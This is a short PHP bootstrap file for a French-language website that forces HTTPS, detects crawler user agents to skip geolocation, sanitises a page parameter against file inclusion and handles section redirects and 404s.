if (session_status() == PHP_SESSION_NONE) { session_start(); } ini_set('display_errors', 0); date_default_timezone_set('America/Toronto'); if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] != 'on'){ header("Location:https://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]); } function isBot($ua) { $patterns = array( 'GPTBot','OAI-SearchBot','ChatGPT-User','ClaudeBot','claude-web', 'PerplexityBot','Perplexity-User','Google-Extended','GoogleOther', 'bingbot','Amazonbot','Applebot','Applebot-Extended','meta-externalagent', 'Bytespider','cohere-ai','MistralAI-User','AI2Bot','CCBot', 'Diffbot','Timpibot','YouBot','GrokBot','PetalBot','DotBot','SemrushBot', 'siteauditbot','Googlebot','yandexbot','baiduspider','duckduckbot','slurp', 'gptbot','claudebot','perplexitybot','bytespider','meta-externalagent', 'censys','mj12bot','domainstats','robot' ); $ua = strtolower($ua); foreach ($patterns as $pat) { if (strpos($ua, strtolower($pat)) !== false) { return true; } } return false; } if(preg_match('|170.249.|',$_SERVER['REMOTE_ADDR'])){unset($_SESSION['proudly']);} if(!isBot($_SERVER['HTTP_USER_AGENT']) && !isset($_SESSION['proudly'])){ include_once('ip2location.php'); } if(isset($_GET['c']) && preg_match('|http|',$_GET['c'])){$_GET['c'] = 'home';} if(isset($_GET['c']) && preg_match('|\:|',$_GET['c'])){$_GET['c'] = 'home';} if(isset($_GET['c']) && preg_match('|www|',$_GET['c'])){$_GET['c'] = 'home';} if(isset($_GET['c']) && preg_match('|\.|',$_GET['c'])){$_GET['c'] = 'home';} if(isset($_GET['c']) && preg_match('|\/|',$_GET['c'])){$_GET['c'] = 'home';} if(!isset($_GET['c'])){$_GET['c'] = 'home';} $c = $_GET['c']; if($c == 'maladies'){header("Location:?c=benefices");} elseif($c == 'maladies'){header("Location:?c=benefices");} //<= REDIRECTIONS SECTIONS RETIRÉES elseif($c == 'clients'){header("Location:?");} elseif($c == 'prix'){header("Location:?");} if(!file_exists('cont_'.$c.'.php')){ header("HTTP/1.0 404 Not Found"); header("Location:./"); } ?>